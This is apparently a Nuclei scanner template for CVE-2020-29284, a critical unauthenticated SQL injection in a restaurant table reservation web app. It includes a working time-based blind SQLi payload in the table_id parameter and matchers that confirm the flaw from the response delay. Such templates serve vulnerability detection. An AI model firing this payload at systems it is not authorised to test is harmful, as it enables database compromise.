nuclei-templates/http/cves/2020/CVE-2020-29284.yaml

49 lines
1.7 KiB
YAML
Raw Normal View History

2022-09-30 17:18:41 +00:00
id: CVE-2020-29284
info:
name: Sourcecodester Multi Restaurant Table Reservation System 1.0 - SQL Injection
2022-09-30 17:18:41 +00:00
author: edoardottt
severity: critical
description: |
Sourcecodester Multi Restaurant Table Reservation System 1.0 contains a SQL injection vulnerability via the file view-chair-list.php. It does not perform input validation on the table_id parameter, which allows unauthenticated SQL injection. An attacker can send malicious input in the GET request to /dashboard/view-chair-list.php?table_id= to trigger the vulnerability.
2022-09-30 17:18:41 +00:00
reference:
- https://www.exploit-db.com/exploits/48984
2022-11-15 12:20:07 +00:00
- https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip
- https://github.com/BigTiger2020/-Multi-Restaurant-Table-Reservation-System/blob/main/README.md
- https://nvd.nist.gov/vuln/detail/CVE-2020-29284
2022-09-30 17:18:41 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-09-30 17:18:41 +00:00
cve-id: CVE-2020-29284
cwe-id: CWE-89
cpe: cpe:2.3:a:multi_restaurant_table_reservation_system_project:multi_restaurant_table_reservation_system:*:*:*:*:*:*:*:*
epss-score: 0.02921
2022-11-15 12:20:07 +00:00
metadata:
max-request: 1
2023-06-04 08:13:42 +00:00
verified: true
tags: cve2020,tablereservation,sqli,unauth,edb,cve
2022-09-30 17:18:41 +00:00
http:
2022-09-30 17:18:41 +00:00
- method: GET
path:
2022-11-15 12:20:07 +00:00
- "{{BaseURL}}/dashboard/view-chair-list.php?table_id='+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+-"
2022-09-30 17:18:41 +00:00
matchers-condition: and
matchers:
- type: dsl
dsl:
2022-11-15 12:20:07 +00:00
- 'duration>=6'
- type: word
part: body
words:
- "Restaurent Tables"
- "Chair List"
condition: and
2022-09-30 17:18:41 +00:00
- type: status
status:
2022-11-15 12:20:07 +00:00
- 200
# Enhanced by md on 2022/12/08